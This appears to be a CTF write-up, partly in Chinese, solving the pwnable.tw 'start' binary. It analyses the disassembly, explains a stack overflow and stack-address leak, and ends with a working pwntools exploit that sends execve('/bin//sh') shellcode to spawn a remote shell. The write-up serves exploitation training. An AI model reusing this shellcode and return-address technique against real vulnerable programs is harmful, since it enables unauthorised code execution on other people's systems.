checksec:

[*] '/home/kkkk/code/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

disassem:

Dump of assembler code for function _start:
=> 0x08048060 <+0>:	push   esp
   0x08048061 <+1>:	push   0x804809d
   0x08048066 <+6>:	xor    eax,eax
   0x08048068 <+8>:	xor    ebx,ebx
   0x0804806a <+10>:	xor    ecx,ecx
   0x0804806c <+12>:	xor    edx,edx
   0x0804806e <+14>:	push   0x3a465443
   0x08048073 <+19>:	push   0x20656874
   0x08048078 <+24>:	push   0x20747261
   0x0804807d <+29>:	push   0x74732073
   0x08048082 <+34>:	push   0x2774654c
   0x08048087 <+39>:	mov    ecx,esp
   0x08048089 <+41>:	mov    dl,0x14
   0x0804808b <+43>:	mov    bl,0x1
   0x0804808d <+45>:	mov    al,0x4
   0x0804808f <+47>:	int    0x80
   0x08048091 <+49>:	xor    ebx,ebx
   0x08048093 <+51>:	mov    dl,0x3c
   0x08048095 <+53>:	mov    al,0x3
   0x08048097 <+55>:	int    0x80
   0x08048099 <+57>:	add    esp,0x14
   0x0804809c <+60>:	ret    
End of assembler dump.

程序是汇编编写的, 没有保护模式
程序使用中断调用了两个系统调用, 一个是sys_write函数:

   0x08048087 <+39>:	mov    ecx,esp
   0x08048089 <+41>:	mov    dl,0x14
   0x0804808b <+43>:	mov    bl,0x1
   0x0804808d <+45>:	mov    al,0x4
   0x0804808f <+47>:	int    0x80

一个是read函数:

   0x08048091 <+49>:	xor    ebx,ebx
   0x08048093 <+51>:	mov    dl,0x3c
   0x08048095 <+53>:	mov    al,0x3
   0x08048097 <+55>:	int    0x80

系统调用号在线查询

read函数的ecx是之前设置的ecx值, 并未更改

mov    ecx,esp

ecxesp
ecx即使输出的目标地址也是输入的目标地址
随后程序退出
read函数读入0x3c字节, 会造成栈溢出, 且程序没有保护模式
考虑re2shellcode, 需要注意payload大小不超过0x3c
程序一共push了7*4个字节, 程序最后恢复0x14栈空间, ret时又消耗4字节, 于是此时esp里的值就是程序开始压入的esp的值
此时esp是这样的:

esp->esp+4

于是第一次覆盖返回地址到0x08048087, 即可调用sys_write输出esp+4的值, 第二次输入的起始位置是esp
第一次覆盖只需要填充0x14字节任意内容, 用于抵消程序清栈操作

   0x08048099 <+57>:	add    esp,0x14

然后以小端模式传入地址0x08048087
泄露esp+4的值后, 第二次输入同理
0x14字节任意内容 + (esp+4地址+0x14) + shellcode
由于第二次输入的起始位置是esp, 泄露的esp是esp+4
所以esp+4 + 0x14就到shellcode的位置了(32位程序指针占用4字节)
EXP:

from pwn import *

r = remote("chall.pwnable.tw", 10000)
# r = process("./start")

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

payload1 = b"k"*(0x14) + p32(0x08048087)
r.sendafter(b"Let's start the CTF:", payload1)

esp = u32(r.recv(4))
r.recv()
log.success(hex(esp))

payload2 = b"k"*(0x14) + p32(esp+0x14) + shellcode
r.send(payload2)

r.interactive()